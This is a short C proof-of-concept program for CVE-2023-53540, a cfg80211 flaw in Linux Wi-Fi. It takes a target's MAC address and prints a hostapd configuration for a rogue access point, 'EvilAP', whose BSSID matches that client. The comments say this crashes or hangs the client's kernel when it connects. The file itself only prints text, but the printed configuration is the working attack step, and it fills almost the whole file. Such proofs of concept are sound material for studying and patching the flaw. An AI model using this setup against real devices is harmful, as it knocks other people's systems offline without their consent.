// CVE-2023-53540 PoC - Trigger DoS by setting AP BSSID to client's own MAC address
// This PoC demonstrates the concept of the vulnerability
// Note: Actual exploitation requires a malicious AP and a target device
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
// Simulate creating a malicious AP with BSSID matching the client's MAC address
// In a real scenario, this would be done using hostapd or similar tools
int main(int argc, char *argv[]) {
printf("CVE-2023-53540 PoC - cfg80211 AP Address Confusion DoS\n");
printf("This PoC demonstrates setting up a rogue AP with BSSID matching\n");
printf("the target client's MAC address to trigger kernel crash/DoS\n\n");
// Step 1: Get the target client's MAC address
// In practice, this can be obtained via ARP scanning or Wi-Fi sniffing
unsigned char target_mac[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55};
if (argc >= 2) {
// Parse MAC address from command line: xx:xx:xx:xx:xx:xx
sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_mac[0], &target_mac[1], &target_mac[2],
&target_mac[3], &target_mac[4], &target_mac[5]);
}
printf("Target client MAC: %02x:%02x:%02x:%02x:%02x:%02x\n",
target_mac[0], target_mac[1], target_mac[2],
target_mac[3], target_mac[4], target_mac[5]);
// Step 2: Configure rogue AP with matching BSSID
// Using hostapd configuration approach
printf("\n[*] Configuring rogue AP with BSSID matching client address...\n");
printf(" bssid=%02x:%02x:%02x:%02x:%02x:%02x\n",
target_mac[0], target_mac[1], target_mac[2],
target_mac[3], target_mac[4], target_mac[5]);
// Step 3: Generate hostapd configuration
printf("\n[*] Hostapd configuration:\n");
printf("interface=wlan0\n");
printf("driver=nl80211\n");
printf("ssid=EvilAP\n");
printf("bssid=%02x:%02x:%02x:%02x:%02x:%02x\n",
target_mac[0], target_mac[1], target_mac[2],
target_mac[3], target_mac[4], target_mac[5]);
printf("channel=6\n");
printf("hw_mode=g\n");
// Step 4: When client attempts to connect, cfg80211 will not reject
// the connection due to address matching, leading to kernel crash
printf("\n[*] Waiting for target client to attempt connection...\n");
printf("[*] When client connects, cfg80211 will fail to handle the\n");
printf(" address collision, causing kernel panic or subsystem hang.\n");
return 0;
}